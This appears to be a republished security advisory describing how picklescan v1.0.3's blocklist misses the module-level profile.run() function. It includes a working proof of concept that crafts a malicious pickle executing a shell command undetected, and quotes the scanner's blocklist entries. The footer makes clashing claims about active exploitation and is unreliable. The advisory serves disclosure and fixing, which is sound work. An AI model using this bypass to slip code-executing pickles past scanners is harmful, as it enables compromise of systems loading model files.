Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-7wx9-6375-f5wh
No affected components available
Summary
picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".
Severity
High — Direct code execution via exec() with zero scanner detection.
Affected Versions
- picklescan v1.0.3 (latest — the profile entries were added in recent versions)
- Earlier versions also affected (profile not blocked at all)
Details
Root Cause
In scanner.py line 199, the blocklist entry for profile is:
"profile": {"Profile.run", "Profile.runctx"},
When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:
module = "profile"name = "run"
The blocklist check at line 414 is:
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):
This checks: is "run" in {"Profile.run", "Profile.runctx"}?
Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.
What profile.run() Does
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
prof = Profile()
try:
prof.run(statement) # Calls exec(statement)
except SystemExit:
pass
...
profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# profile.run("import os; os.system('id')")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 60)
+ sbu("profile") + sbu("run") + b"\x93"
+ sbu("import os; os.system('id')")
+ b"\x85" + b"R" + b"."
)
# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)
Comparison
| Pickle Global | Blocklist Entry | Match? | Result |
|--------------|-----------------|--------|--------|
| ("profile", "run") | "Profile.run" | NO — "run" != "Profile.run" | CLEAN (bypass!) |
| ("profile", "Profile.run") | "Profile.run" | YES | DETECTED |
| ("profile", "runctx") | "Profile.runctx" | NO — "runctx" != "Profile.runctx" | CLEAN (bypass!) |
The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.
Impact
profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.
Suggested Fix
Change the profile blocklist entry from:
"profile": {"Profile.run", "Profile.runctx"},
to:
"profile": "*",
Or explicitly add the module-level functions:
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},
Resources
- picklescan source:
scanner.pyline 199 ("profile": {"Profile.run", "Profile.runctx"}) - picklescan source:
scanner.pyline 414 (exact string match logic) - Python source:
Lib/profile.pyrun()function — callsexec()
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard